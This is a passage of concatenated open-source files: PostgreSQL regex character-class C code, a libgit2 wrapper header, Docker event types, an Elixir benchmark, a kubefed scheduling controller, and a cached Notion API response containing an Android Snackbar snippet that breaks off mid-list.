'\002' }, { "ETX", '\003' }, { "EOT", '\004' }, { "ENQ", '\005' }, { "ACK", '\006' }, { "BEL", '\007' }, { "alert", '\007' }, { "BS", '\010' }, { "backspace", '\b' }, { "HT", '\011' }, { "tab", '\t' }, { "LF", '\012' }, { "newline", '\n' }, { "VT", '\013' }, { "vertical-tab", '\v' }, { "FF", '\014' }, { "form-feed", '\f' }, { "CR", '\015' }, { "carriage-return", '\r' }, { "SO", '\016' }, { "SI", '\017' }, { "DLE", '\020' }, { "DC1", '\021' }, { "DC2", '\022' }, { "DC3", '\023' }, { "DC4", '\024' }, { "NAK", '\025' }, { "SYN", '\026' }, { "ETB", '\027' }, { "CAN", '\030' }, { "EM", '\031' }, { "SUB", '\032' }, { "ESC", '\033' }, { "IS4", '\034' }, { "FS", '\034' }, { "IS3", '\035' }, { "GS", '\035' }, { "IS2", '\036' }, { "RS", '\036' }, { "IS1", '\037' }, { "US", '\037' }, { "space", ' ' }, { "exclamation-mark", '!' }, { "quotation-mark", '"' }, { "number-sign", '#' }, { "dollar-sign", '$' }, { "percent-sign", '%' }, { "ampersand", '&' }, { "apostrophe", '\'' }, { "left-parenthesis", '(' }, { "right-parenthesis", ')' }, { "asterisk", '*' }, { "plus-sign", '+' }, { "comma", ',' }, { "hyphen", '-' }, { "hyphen-minus", '-' }, { "period", '.' }, { "full-stop", '.' }, { "slash", '/' }, { "solidus", '/' }, { "zero", '0' }, { "one", '1' }, { "two", '2' }, { "three", '3' }, { "four", '4' }, { "five", '5' }, { "six", '6' }, { "seven", '7' }, { "eight", '8' }, { "nine", '9' }, { "colon", ':' }, { "semicolon", ';' }, { "less-than-sign", '<' }, { "equals-sign", '=' }, { "greater-than-sign", '>' }, { "question-mark", '?' }, { "commercial-at", '@' }, { "left-square-bracket", '[' }, { "backslash", '\\' }, { "reverse-solidus", '\\' }, { "right-square-bracket", ']' }, { "circumflex", '^' }, { "circumflex-accent", '^' }, { "underscore", '_' }, { "low-line", '_' }, { "grave-accent", '`' }, { "left-brace", '{' }, { "left-curly-bracket", '{' }, { "vertical-line", '|' }, { "right-brace", '}' }, { "right-curly-bracket", '}' }, { "tilde", '~' }, { "DEL", '\177' }, { NULL, 0 } }; /* * The following arrays define the valid character class names. */ static const char *const classNames[NUM_CCLASSES + 1] = { "alnum", "alpha", "ascii", "blank", "cntrl", "digit", "graph", "lower", "print", "punct", "space", "upper", "xdigit", NULL }; enum classes { CC_ALNUM, CC_ALPHA, CC_ASCII, CC_BLANK, CC_CNTRL, CC_DIGIT, CC_GRAPH, CC_LOWER, CC_PRINT, CC_PUNCT, CC_SPACE, CC_UPPER, CC_XDIGIT }; /* * We do not use the hard-wired Unicode classification tables that Tcl does. * This is because (a) we need to deal with other encodings besides Unicode, * and (b) we want to track the behavior of the libc locale routines as * closely as possible. For example, it wouldn't be unreasonable for a * locale to not consider every Unicode letter as a letter. So we build * character classification cvecs by asking libc, even for Unicode. */ /* * element - map collating-element name to chr */ static chr element(struct vars *v, /* context */ const chr *startp, /* points to start of name */ const chr *endp) /* points just past end of name */ { const struct cname *cn; size_t len; /* generic: one-chr names stand for themselves */ assert(startp < endp); len = endp - startp; if (len == 1) return *startp; NOTE(REG_ULOCALE); /* search table */ for (cn = cnames; cn->name != NULL; cn++) { if (strlen(cn->name) == len && pg_char_and_wchar_strncmp(cn->name, startp, len) == 0) { break; /* NOTE BREAK OUT */ } } if (cn->name != NULL) return CHR(cn->code); /* couldn't find it */ ERR(REG_ECOLLATE); return 0; } /* * range - supply cvec for a range, including legality check */ static struct cvec * range(struct vars *v, /* context */ chr a, /* range start */ chr b, /* range end, might equal a */ int cases) /* case-independent? */ { int nchrs; struct cvec *cv; chr c, cc; if (a != b && !before(a, b)) { ERR(REG_ERANGE); return NULL; } if (!cases) { /* easy version */ cv = getcvec(v, 0, 1); NOERRN(); addrange(cv, a, b); return cv; } /* * When case-independent, it's hard to decide when cvec ranges are usable, * so for now at least, we won't try. We use a range for the originally * specified chrs and then add on any case-equivalents that are outside * that range as individual chrs. * * To ensure sane behavior if someone specifies a very large range, limit * the allocation size to 100000 chrs (arbitrary) and check for overrun * inside the loop below. */ nchrs = b - a + 1; if (nchrs <= 0 || nchrs > 100000) nchrs = 100000; cv = getcvec(v, nchrs, 1); NOERRN(); addrange(cv, a, b); for (c = a; c <= b; c++) { cc = pg_wc_tolower(c); if (cc != c && (before(cc, a) || before(b, cc))) { if (cv->nchrs >= cv->chrspace) { ERR(REG_ETOOBIG); return NULL; } addchr(cv, cc); } cc = pg_wc_toupper(c); if (cc != c && (before(cc, a) || before(b, cc))) { if (cv->nchrs >= cv->chrspace) { ERR(REG_ETOOBIG); return NULL; } addchr(cv, cc); } if (CANCEL_REQUESTED(v->re)) { ERR(REG_CANCEL); return NULL; } } return cv; } /* * before - is chr x before chr y, for purposes of range legality? */ static int /* predicate */ before(chr x, chr y) { if (x < y) return 1; return 0; } /* * eclass - supply cvec for an equivalence class * Must include case counterparts on request. */ static struct cvec * eclass(struct vars *v, /* context */ chr c, /* Collating element representing the * equivalence class. */ int cases) /* all cases? */ { struct cvec *cv; /* crude fake equivalence class for testing */ if ((v->cflags & REG_FAKE) && c == 'x') { cv = getcvec(v, 4, 0); addchr(cv, CHR('x')); addchr(cv, CHR('y')); if (cases) { addchr(cv, CHR('X')); addchr(cv, CHR('Y')); } return cv; } /* otherwise, none */ if (cases) return allcases(v, c); cv = getcvec(v, 1, 0); assert(cv != NULL); addchr(cv, c); return cv; } /* * cclass - supply cvec for a character class * * Must include case counterparts if "cases" is true. * * The returned cvec might be either a transient cvec gotten from getcvec(), * or a permanently cached one from pg_ctype_get_cache(). This is okay * because callers are not supposed to explicitly free the result either way. */ static struct cvec * cclass(struct vars *v, /* context */ const chr *startp, /* where the name starts */ const chr *endp, /* just past the end of the name */ int cases) /* case-independent? */ { size_t len; struct cvec *cv = NULL; const char *const *namePtr; int i, index; /* * Map the name to the corresponding enumerated value. */ len = endp - startp; index = -1; for (namePtr = classNames, i = 0; *namePtr != NULL; namePtr++, i++) { if (strlen(*namePtr) == len && pg_char_and_wchar_strncmp(*namePtr, startp, len) == 0) { index = i; break; } } if (index == -1) { ERR(REG_ECTYPE); return NULL; } /* * Remap lower and upper to alpha if the match is case insensitive. */ if (cases && ((enum classes) index == CC_LOWER || (enum classes) index == CC_UPPER)) index = (int) CC_ALPHA; /* * Now compute the character class contents. For classes that are based * on the behavior of a <wctype.h> or <ctype.h> function, we use * pg_ctype_get_cache so that we can cache the results. Other classes * have definitions that are hard-wired here, and for those we just * construct a transient cvec on the fly. * * NB: keep this code in sync with cclass_column_index(), below. */ switch ((enum classes) index) { case CC_PRINT: cv = pg_ctype_get_cache(pg_wc_isprint, index); break; case CC_ALNUM: cv = pg_ctype_get_cache(pg_wc_isalnum, index); break; case CC_ALPHA: cv = pg_ctype_get_cache(pg_wc_isalpha, index); break; case CC_ASCII: /* hard-wired meaning */ cv = getcvec(v, 0, 1); if (cv) addrange(cv, 0, 0x7f); break; case CC_BLANK: /* hard-wired meaning */ cv = getcvec(v, 2, 0); addchr(cv, '\t'); addchr(cv, ' '); break; case CC_CNTRL: /* hard-wired meaning */ cv = getcvec(v, 0, 2); addrange(cv, 0x0, 0x1f); addrange(cv, 0x7f, 0x9f); break; case CC_DIGIT: cv = pg_ctype_get_cache(pg_wc_isdigit, index); break; case CC_PUNCT: cv = pg_ctype_get_cache(pg_wc_ispunct, index); break; case CC_XDIGIT: /* * It's not clear how to define this in non-western locales, and * even less clear that there's any particular use in trying. So * just hard-wire the meaning. */ cv = getcvec(v, 0, 3); if (cv) { addrange(cv, '0', '9'); addrange(cv, 'a', 'f'); addrange(cv, 'A', 'F'); } break; case CC_SPACE: cv = pg_ctype_get_cache(pg_wc_isspace, index); break; case CC_LOWER: cv = pg_ctype_get_cache(pg_wc_islower, index); break; case CC_UPPER: cv = pg_ctype_get_cache(pg_wc_isupper, index); break; case CC_GRAPH: cv = pg_ctype_get_cache(pg_wc_isgraph, index); break; } /* If cv is NULL now, the reason must be "out of memory" */ if (cv == NULL) ERR(REG_ESPACE); return cv; } /* * cclass_column_index - get appropriate high colormap column index for chr */ static int cclass_column_index(struct colormap *cm, chr c) { int colnum = 0; /* Shouldn't go through all these pushups for simple chrs */ assert(c > MAX_SIMPLE_CHR); /* * Note: we should not see requests to consider cclasses that are not * treated as locale-specific by cclass(), above. */ if (cm->classbits[CC_PRINT] && pg_wc_isprint(c)) colnum |= cm->classbits[CC_PRINT]; if (cm->classbits[CC_ALNUM] && pg_wc_isalnum(c)) colnum |= cm->classbits[CC_ALNUM]; if (cm->classbits[CC_ALPHA] && pg_wc_isalpha(c)) colnum |= cm->classbits[CC_ALPHA]; assert(cm->classbits[CC_ASCII] == 0); assert(cm->classbits[CC_BLANK] == 0); assert(cm->classbits[CC_CNTRL] == 0); if (cm->classbits[CC_DIGIT] && pg_wc_isdigit(c)) colnum |= cm->classbits[CC_DIGIT]; if (cm->classbits[CC_PUNCT] && pg_wc_ispunct(c)) colnum |= cm->classbits[CC_PUNCT]; assert(cm->classbits[CC_XDIGIT] == 0); if (cm->classbits[CC_SPACE] && pg_wc_isspace(c)) colnum |= cm->classbits[CC_SPACE]; if (cm->classbits[CC_LOWER] && pg_wc_islower(c)) colnum |= cm->classbits[CC_LOWER]; if (cm->classbits[CC_UPPER] && pg_wc_isupper(c)) colnum |= cm->classbits[CC_UPPER]; if (cm->classbits[CC_GRAPH] && pg_wc_isgraph(c)) colnum |= cm->classbits[CC_GRAPH]; return colnum; } /* * allcases - supply cvec for all case counterparts of a chr (including itself) * * This is a shortcut, preferably an efficient one, for simple characters; * messy cases are done via range(). */ static struct cvec * allcases(struct vars *v, /* context */ chr c) /* character to get case equivs of */ { struct cvec *cv; chr lc, uc; lc = pg_wc_tolower(c); uc = pg_wc_toupper(c); cv = getcvec(v, 2, 0); addchr(cv, lc); if (lc != uc) addchr(cv, uc); return cv; } /* * cmp - chr-substring compare * * Backrefs need this. It should preferably be efficient. * Note that it does not need to report anything except equal/unequal. * Note also that the length is exact, and the comparison should not * stop at embedded NULs! */ static int /* 0 for equal, nonzero for unequal */ cmp(const chr *x, const chr *y, /* strings to compare */ size_t len) /* exact length of comparison */ { return memcmp(VS(x), VS(y), len * sizeof(chr)); } /* * casecmp - case-independent chr-substring compare * * REG_ICASE backrefs need this. It should preferably be efficient. * Note that it does not need to report anything except equal/unequal. * Note also that the length is exact, and the comparison should not * stop at embedded NULs! */ static int /* 0 for equal, nonzero for unequal */ casecmp(const chr *x, const chr *y, /* strings to compare */ size_t len) /* exact length of comparison */ { for (; len > 0; len--, x++, y++) { if ((*x != *y) && (pg_wc_tolower(*x) != pg_wc_tolower(*y))) return 1; } return 0; }
{ "pile_set_name": "Github" }
// Copyright (c) 2013 GitHub Inc. // // Permission is hereby granted, free of charge, to any person obtaining // a copy of this software and associated documentation files (the // "Software"), to deal in the Software without restriction, including // without limitation the rights to use, copy, modify, merge, publish, // distribute, sublicense, and/or sell copies of the Software, and to // permit persons to whom the Software is furnished to do so, subject to // the following conditions: // // The above copyright notice and this permission notice shall be // included in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE // LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION // OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION // WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. #ifndef SRC_REPOSITORY_H_ #define SRC_REPOSITORY_H_ #include <string> #include <vector> #include "git2.h" #include "nan.h" using namespace v8; // NOLINT class Repository : public Nan::ObjectWrap { public: static void Init(Local<Object> target); private: static NAN_METHOD(New); static NAN_METHOD(GetPath); static NAN_METHOD(GetWorkingDirectory); static NAN_METHOD(GetSubmodulePaths); static NAN_METHOD(Exists); static NAN_METHOD(GetHead); static NAN_METHOD(GetHeadAsync); static NAN_METHOD(RefreshIndex); static NAN_METHOD(IsIgnored); static NAN_METHOD(IsSubmodule); static NAN_METHOD(GetConfigValue); static NAN_METHOD(SetConfigValue); static NAN_METHOD(GetStatus); static NAN_METHOD(GetStatusAsync); static NAN_METHOD(GetStatusForPath); static NAN_METHOD(CheckoutHead); static NAN_METHOD(GetReferenceTarget); static NAN_METHOD(GetDiffStats); static NAN_METHOD(GetIndexBlob); static NAN_METHOD(GetHeadBlob); static NAN_METHOD(CompareCommits); static NAN_METHOD(CompareCommitsAsync); static NAN_METHOD(Release); static NAN_METHOD(GetLineDiffs); static NAN_METHOD(GetLineDiffDetails); static NAN_METHOD(GetReferences); static NAN_METHOD(CheckoutReference); static NAN_METHOD(Add); static int DiffHunkCallback(const git_diff_delta *delta, const git_diff_hunk *hunk, void *payload); static int DiffLineCallback(const git_diff_delta *delta, const git_diff_hunk *hunk, const git_diff_line *line, void *payload); static int SubmoduleCallback(git_submodule *submodule, const char *name, void *payload); static Local<Value> ConvertStringVectorToV8Array( const std::vector<std::string>& vector); static git_repository* GetRepository(Nan::NAN_METHOD_ARGS_TYPE args); static git_repository* GetAsyncRepository(Nan::NAN_METHOD_ARGS_TYPE args); static int GetBlob(Nan::NAN_METHOD_ARGS_TYPE args, git_repository* repo, git_blob*& blob); static git_diff_options CreateDefaultGitDiffOptions(); explicit Repository(Local<String> path, Local<Boolean> search); ~Repository(); git_repository* repository; git_repository* async_repository; }; #endif // SRC_REPOSITORY_H_
{ "pile_set_name": "Github" }
package events // import "github.com/docker/docker/api/types/events" const ( // ContainerEventType is the event type that containers generate ContainerEventType = "container" // DaemonEventType is the event type that daemon generate DaemonEventType = "daemon" // ImageEventType is the event type that images generate ImageEventType = "image" // NetworkEventType is the event type that networks generate NetworkEventType = "network" // PluginEventType is the event type that plugins generate PluginEventType = "plugin" // VolumeEventType is the event type that volumes generate VolumeEventType = "volume" // ServiceEventType is the event type that services generate ServiceEventType = "service" // NodeEventType is the event type that nodes generate NodeEventType = "node" // SecretEventType is the event type that secrets generate SecretEventType = "secret" // ConfigEventType is the event type that configs generate ConfigEventType = "config" ) // Actor describes something that generates events, // like a container, or a network, or a volume. // It has a defined name and a set or attributes. // The container attributes are its labels, other actors // can generate these attributes from other properties. type Actor struct { ID string Attributes map[string]string } // Message represents the information an event contains type Message struct { // Deprecated information from JSONMessage. // With data only in container events. Status string `json:"status,omitempty"` ID string `json:"id,omitempty"` From string `json:"from,omitempty"` Type string Action string Actor Actor // Engine events are local scope. Cluster events are swarm scope. Scope string `json:"scope,omitempty"` Time int64 `json:"time,omitempty"` TimeNano int64 `json:"timeNano,omitempty"` }
{ "pile_set_name": "Github" }
defmodule Witchcraft.Setoid.FloatBench do use Benchfella use Witchcraft.Setoid ######### # Setup # ######### # ---------- # # Data Types # # ---------- # @float_a 10.7218 @float_b -45.21 ########## # Kernel # ########## bench "Kernel.==/2", do: Kernel.==(@float_a, @float_b) bench "Kernel.!=/2", do: Kernel.!=(@float_a, @float_b) ########## # Setoid # ########## bench "equivalent?/2", do: equivalent?(@float_a, @float_b) bench "nonequivalent?/2", do: nonequivalent?(@float_a, @float_b) # --------- # # Operators # # --------- # bench "==/2", do: @float_a == @float_b bench "!=/2", do: @float_a != @float_b # ---------- # # Large Data # # ---------- # @big_float_a 1_234_567.890 @big_float_b 9_876.543210 bench "$$$ Kernel.==/2", do: Kernel.==(@big_float_a, @big_float_b) bench "$$$ Kernel.!=/2", do: Kernel.!=(@big_float_a, @big_float_b) bench "$$$ ==/2", do: @big_float_a == @big_float_b bench "$$$ !=/2", do: @big_float_a != @big_float_b end
{ "pile_set_name": "Github" }
/* Copyright 2018 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package schedulingpreference import ( "fmt" "time" "github.com/pkg/errors" corev1 "k8s.io/api/core/v1" pkgruntime "k8s.io/apimachinery/pkg/runtime" "k8s.io/apimachinery/pkg/util/runtime" kubeclientset "k8s.io/client-go/kubernetes" "k8s.io/client-go/kubernetes/scheme" typedcorev1 "k8s.io/client-go/kubernetes/typed/core/v1" restclient "k8s.io/client-go/rest" "k8s.io/client-go/tools/cache" "k8s.io/client-go/tools/record" "k8s.io/klog" fedv1b1 "sigs.k8s.io/kubefed/pkg/apis/core/v1beta1" "sigs.k8s.io/kubefed/pkg/controller/util" "sigs.k8s.io/kubefed/pkg/metrics" "sigs.k8s.io/kubefed/pkg/schedulingtypes" ) const ( allClustersKey = "ALL_CLUSTERS" ) // SchedulingPreferenceController synchronises the template, override // and placement for a target template with its spec (user preference). type SchedulingPreferenceController struct { // For triggering reconciliation of all scheduling resources. This // is used when a new cluster becomes available. clusterDeliverer *util.DelayingDeliverer // scheduler holds all the information and functionality // to handle the target objects of given type scheduler schedulingtypes.Scheduler // Store for self store cache.Store // Informer for self controller cache.Controller worker util.ReconcileWorker // For events eventRecorder record.EventRecorder clusterAvailableDelay time.Duration clusterUnavailableDelay time.Duration smallDelay time.Duration } // SchedulingPreferenceController starts a new controller for given type of SchedulingPreferences func StartSchedulingPreferenceController(config *util.ControllerConfig, schedulingType schedulingtypes.SchedulingType, stopChannel <-chan struct{}) (schedulingtypes.Scheduler, error) { controller, err := newSchedulingPreferenceController(config, schedulingType) if err != nil { return nil, err } if config.MinimizeLatency { controller.minimizeLatency() } klog.Infof("Starting replicaschedulingpreferences controller") controller.Run(stopChannel) return controller.scheduler, nil } // newSchedulingPreferenceController returns a new SchedulingPreference Controller for the given type func newSchedulingPreferenceController(config *util.ControllerConfig, schedulingType schedulingtypes.SchedulingType) (*SchedulingPreferenceController, error) { userAgent := fmt.Sprintf("%s-controller", schedulingType.Kind) kubeConfig := restclient.CopyConfig(config.KubeConfig) restclient.AddUserAgent(kubeConfig, userAgent) kubeClient, err := kubeclientset.NewForConfig(kubeConfig) if err != nil { return nil, err } broadcaster := record.NewBroadcaster() broadcaster.StartRecordingToSink(&typedcorev1.EventSinkImpl{Interface: kubeClient.CoreV1().Events("")}) recorder := broadcaster.NewRecorder(scheme.Scheme, corev1.EventSource{Component: "replicaschedulingpreference-controller"}) s := &SchedulingPreferenceController{ clusterAvailableDelay: config.ClusterAvailableDelay, clusterUnavailableDelay: config.ClusterUnavailableDelay, smallDelay: time.Second * 3, eventRecorder: recorder, } s.worker = util.NewReconcileWorker(s.reconcile, util.WorkerTiming{ ClusterSyncDelay: s.clusterAvailableDelay, }) eventHandlers := schedulingtypes.SchedulerEventHandlers{ KubeFedEventHandler: s.worker.EnqueueObject, ClusterEventHandler: func(obj pkgruntime.Object) { qualifiedName := util.NewQualifiedName(obj) s.worker.EnqueueForRetry(qualifiedName) }, ClusterLifecycleHandlers: &util.ClusterLifecycleHandlerFuncs{ ClusterAvailable: func(cluster *fedv1b1.KubeFedCluster) { // When new cluster becomes available process all the target resources again. s.clusterDeliverer.DeliverAt(allClustersKey, nil, time.Now().Add(s.clusterAvailableDelay)) }, // When a cluster becomes unavailable process all the target resources again. ClusterUnavailable: func(cluster *fedv1b1.KubeFedCluster, _ []interface{}) { s.clusterDeliverer.DeliverAt(allClustersKey, nil, time.Now().Add(s.clusterUnavailableDelay)) }, }, } scheduler, err := schedulingType.SchedulerFactory(config, eventHandlers) if err != nil { return nil, err } s.scheduler = scheduler // Build deliverer for triggering cluster reconciliations. s.clusterDeliverer = util.NewDelayingDeliverer() s.store, s.controller, err = util.NewGenericInformer( config.KubeConfig, config.TargetNamespace, s.scheduler.ObjectType(), util.NoResyncPeriod, s.worker.EnqueueObject, ) if err != nil { return nil, err } return s, nil } // minimizeLatency reduces delays and timeouts to make the controller more responsive (useful for testing). func (s *SchedulingPreferenceController) minimizeLatency() { s.clusterAvailableDelay = time.Second s.clusterUnavailableDelay = time.Second s.smallDelay = 20 * time.Millisecond s.worker.SetDelay(50*time.Millisecond, s.clusterAvailableDelay) } func (s *SchedulingPreferenceController) Run(stopChan <-chan struct{}) { go s.controller.Run(stopChan) s.scheduler.Start() s.clusterDeliverer.StartWithHandler(func(_ *util.DelayingDelivererItem) { s.reconcileOnClusterChange() }) s.worker.Run(stopChan) // Ensure all goroutines are cleaned up when the stop channel closes go func() { <-stopChan s.clusterDeliverer.Stop() s.scheduler.Stop() }() } // Check whether all data stores are in sync. False is returned if any of the informer/stores is not yet // synced with the corresponding api server. func (s *SchedulingPreferenceController) isSynced() bool { return s.controller.HasSynced() && s.scheduler.HasSynced() } // The function triggers reconciliation of all known RSP resources. func (s *SchedulingPreferenceController) reconcileOnClusterChange() { if !s.isSynced() { s.clusterDeliverer.DeliverAt(allClustersKey, nil, time.Now().Add(s.clusterAvailableDelay)) } for _, obj := range s.store.List() { qualifiedName := util.NewQualifiedName(obj.(pkgruntime.Object)) s.worker.EnqueueWithDelay(qualifiedName, s.smallDelay) } } func (s *SchedulingPreferenceController) reconcile(qualifiedName util.QualifiedName) util.ReconciliationStatus { defer metrics.UpdateControllerReconcileDurationFromStart("schedulingpreferencecontroller", time.Now()) if !s.isSynced() { return util.StatusNotSynced } kind := s.scheduler.SchedulingKind() key := qualifiedName.String() klog.V(4).Infof("Starting to reconcile %s controller triggered key named %v", kind, key) startTime := time.Now() defer func() { klog.V(4).Infof("Finished reconciling %s controller triggered key named %v (duration: %v)", kind, key, time.Since(startTime)) }() obj, err := s.objFromCache(s.store, kind, key) if err != nil { return util.StatusAllOK } if obj == nil { // Nothing to do return util.StatusAllOK } return s.scheduler.Reconcile(obj, qualifiedName) } func (s *SchedulingPreferenceController) objFromCache(store cache.Store, kind, key string) (pkgruntime.Object, error) { cachedObj, exist, err := store.GetByKey(key) if err != nil { wrappedErr := errors.Wrapf(err, "Failed to query store while reconciling RSP controller, triggered by %s named %q", kind, key) runtime.HandleError(wrappedErr) return nil, err } if !exist { return nil, nil } return cachedObj.(pkgruntime.Object).DeepCopyObject(), nil }
{ "pile_set_name": "Github" }
1211 1565596521130 httpcache-v1 Method: POST URL: https://www.notion.so/api/v3/getRecordValues Body:+110 { "requests": [ { "id": "fd690a4d-ea01-4301-a741-05bd5e0997ba", "table": "block" } ] } Response:+1011 { "results": [ { "role": "comment_only", "value": { "alive": true, "content": [ "daa38ee8-fa79-4042-a5d7-bd2321c8ac54", "56a42758-660f-4781-aa4b-3567689c454a", "7d94e091-f767-4450-8d8c-ad8d21c40721", "a52c327c-66fd-4552-bcf1-9177132b431c" ], "created_by": "bb760e2d-d679-4b64-b2a9-03005b21870a", "created_time": 1550447422599, "format": { "page_full_width": true, "page_small_text": true }, "id": "fd690a4d-ea01-4301-a741-05bd5e0997ba", "ignore_block_count": true, "last_edited_by": "bb760e2d-d679-4b64-b2a9-03005b21870a", "last_edited_time": 1550447422599, "parent_id": "6ffff372-f722-4664-9978-ad7101e6d3c6", "parent_table": "block", "properties": { "title": [ [ "Custom Snack Bar" ] ] }, "type": "page", "version": 3 } } ] } 22698 1565596521131 httpcache-v1 Method: POST URL: https://www.notion.so/api/v3/loadPageChunk Body:+152 { "chunkNumber": 0, "cursor": { "stack": [] }, "limit": 50, "pageId": "fd690a4d-ea01-4301-a741-05bd5e0997ba", "verticalColumns": false } Response:+22457 { "cursor": { "stack": [] }, "recordMap": { "block": { "56a42758-660f-4781-aa4b-3567689c454a": { "role": "comment_only", "value": { "alive": true, "created_by": "bb760e2d-d679-4b64-b2a9-03005b21870a", "created_time": 1550447422566, "id": "56a42758-660f-4781-aa4b-3567689c454a", "ignore_block_count": true, "last_edited_by": "bb760e2d-d679-4b64-b2a9-03005b21870a", "last_edited_time": 1550447422566, "parent_id": "fd690a4d-ea01-4301-a741-05bd5e0997ba", "parent_table": "block", "properties": { "language": [ [ "Plain Text" ] ], "title": [ [ "public static Snackbar makeText(Context context, String message, int duration) {\n Activity activity = (Activity) context;\n View layout;\n Snackbar snackbar = Snackbar\n .make(activity.findViewById(android.R.id.content), message, duration);\n layout = snackbar.getView();\n //setting background color\n layout.setBackgroundColor(context.getResources().getColor(R.color.orange));\n android.widget.TextView text = (android.widget.TextView) layout.findViewById(android.support.design.R.id.snackbar_text);\n //setting font color\n text.setTextColor(context.getResources().getColor(R.color.white));\n Typeface font = null;\n //Setting font \n font = Typeface.createFromAsset(context.getAssets(), \"DroidSansFallbackanmol256.ttf\");\n text.setTypeface(font);\n return snackbar;\n\n }" ] ] }, "type": "code", "version": 1 } }, "6ffff372-f722-4664-9978-ad7101e6d3c6": { "role": "comment_only", "value": { "alive": true, "content": [ "6777708a-78a1-4858-9445-ac704a0478e8", "6c68af65-54d5-4395-8286-ec98a1473733", "fd690a4d-ea01-4301-a741-05bd5e0997ba", "ffc75920-1b81-41f5-8dd2-e2c806614847", "194820a0-c053-4f53-ae1b-aa5462ffc4d3", "404558c8-6775-485e-937c-4b45a84a97ad", "fd9ee0f9-c10f-46f6-adf6-75338fe554ff" ], "created_by": "bb760e2d-d679-4b64-b2a9-03005b21870a", "created_time": 1550447400000, "format": { "page_full_width": true, "page_small_text": true }, "id": "6ffff372-f722-4664-9978-ad7101e6d3c6", "last_edited_by": "bb760e2d-d679-4b64-b2a9-03005b21870a", "last_edited_time": 1550447580000, "parent_id": "f90b0a6b-6483-43e2-8dc5-ed6e8f5c0780", "parent_table": "block", "permissions": [ { "role": "editor", "type": "user_permission", "user_id": "bb760e2d-d679-4b64-b2a9-03005b21870a" } ], "properties": { "title": [ [ "Snackbar" ] ] }, "type": "page", "version": 25 } }, "7d94e091-f767-4450-8d8c-ad8d21c40721": { "role": "comment_only", "value": { "alive": true, "created_by": "bb760e2d-d679-4b64-b2a9-03005b21870a", "created_time": 1550447422582, "id": "7d94e091-f767-4450-8d8c-ad8d21c40721", "ignore_block_count": true, "last_edited_by": "bb760e2d-d679-4b64-b2a9-03005b21870a", "last_edited_time": 1550447422582, "parent_id": "fd690a4d-ea01-4301-a741-05bd5e0997ba", "parent_table": "block", "properties": { "title": [ [ "Call the function from fragment or activity" ] ] }, "type": "text", "version": 1 } }, "a52c327c-66fd-4552-bcf1-9177132b431c": { "role": "comment_only", "value": { "alive": true, "created_by": "bb760e2d-d679-4b64-b2a9-03005b21870a", "created_time": 1550447422598, "id": "a52c327c-66fd-4552-bcf1-9177132b431c", "ignore_block_count": true, "last_edited_by": "bb760e2d-d679-4b64-b2a9-03005b21870a", "last_edited_time": 1550447422598, "parent_id": "fd690a4d-ea01-4301-a741-05bd5e0997ba", "parent_table": "block", "properties": { "language": [ [ "Plain Text" ] ], "title": [ [ "SnackBar.makeText(MyActivity.this, \"Please Locate your address at Map\", Snackbar.LENGTH_SHORT).show();" ] ] }, "type": "code", "version": 1 } }, "daa38ee8-fa79-4042-a5d7-bd2321c8ac54": { "role": "comment_only", "value": { "alive": true, "created_by": "bb760e2d-d679-4b64-b2a9-03005b21870a", "created_time": 1550447422550, "id": "daa38ee8-fa79-4042-a5d7-bd2321c8ac54", "ignore_block_count": true, "last_edited_by": "bb760e2d-d679-4b64-b2a9-03005b21870a", "last_edited_time": 1550447422550, "parent_id": "fd690a4d-ea01-4301-a741-05bd5e0997ba", "parent_table": "block", "properties": { "title": [ [ "Function to customize snackbar" ] ] }, "type": "text", "version": 1 } }, "f90b0a6b-6483-43e2-8dc5-ed6e8f5c0780": { "role": "comment_only", "value": { "alive": true, "content": [ "27fdf592-c1e2-48bf-ad9e-f2f466767a20", "354073c9-7040-4528-8c35-dbbbf7992ed5", "40c765e7-6562-4ee9-8ed0-8024e3def515", "b9098913-7e61-4386-8d02-ca92ab88b324", "f23a5cf1-4ba4-434a-b57a-4f6b72fa1dfd", "4b7449f0-077a-4e41-841b-d5c551629808", "f7aa3cbf-18e0-4aee-8ec1-725bd9ccb0bc", "b12b5220-f26c-4aeb-8130-af5506f0f546", "ffa90cd3-3eea-424c-8f80-34de4ba10bac", "3cf74dd2-01e2-497e-a2e0-ef450e2751fd", "60c44f62-2826-4f4e-b62c-62999d7b5b08", "b504a8f4-8c84-4c2e-8acd-bca678ce8ae8", "58b149d4-6a66-400d-bae4-6d84bc9e8211", "b81f95e2-9af4-43b2-ae8a-eacf3d61b9e0", "dad79538-df78-4fb3-ab61-93449f54b92e", "e5da3f10-048a-4ac6-8dfe-d0f8b834b9b8", "09fb42bc-c08a-479e-85ec-dcd14413d8e1", "9cd3cdb2-fb8b-4bc2-916b-a38f0022b43b", "a2530ba9-8b01-4c7b-ad00-037bf9f232a2", "20f73399-dea2-4d47-bee6-68060ec883f9", "3061cbb2-214c-4375-b975-440c3b41e566", "577ee794-a9c3-4ded-8824-6307ea4044f3", "e851dd0d-078a-4cf4-b0e2-4fb9a34577ba", "daef7c65-a1e3-4cb4-a562-7e81aabc337c", "edbd8f8d-6b57-43d2-9269-0b0cf3e6165c", "ae4c3948-e722-49ba-a5df-65778b9c1e91", "b698fa46-dece-4676-a681-eecc1a3388d2", "7519d0d9-ef43-40c7-bea1-eb520af1f62f", "f2b20dc9-ee75-45ae-b0ee-88e0ced263c9", "2d6f6857-e53d-4b60-b433-e156d81c55e5", "1096b9a5-3f3a-425e-ac66-0adc4166be45", "6190cb6e-dc43-458e-9fc6-34c0e0c69fa6", "b33bd62e-4631-43c5-a9ae-ac47eadfb3e0", "e5dfd590-a7f4-4ea2-b744-e87d7d45fabf", 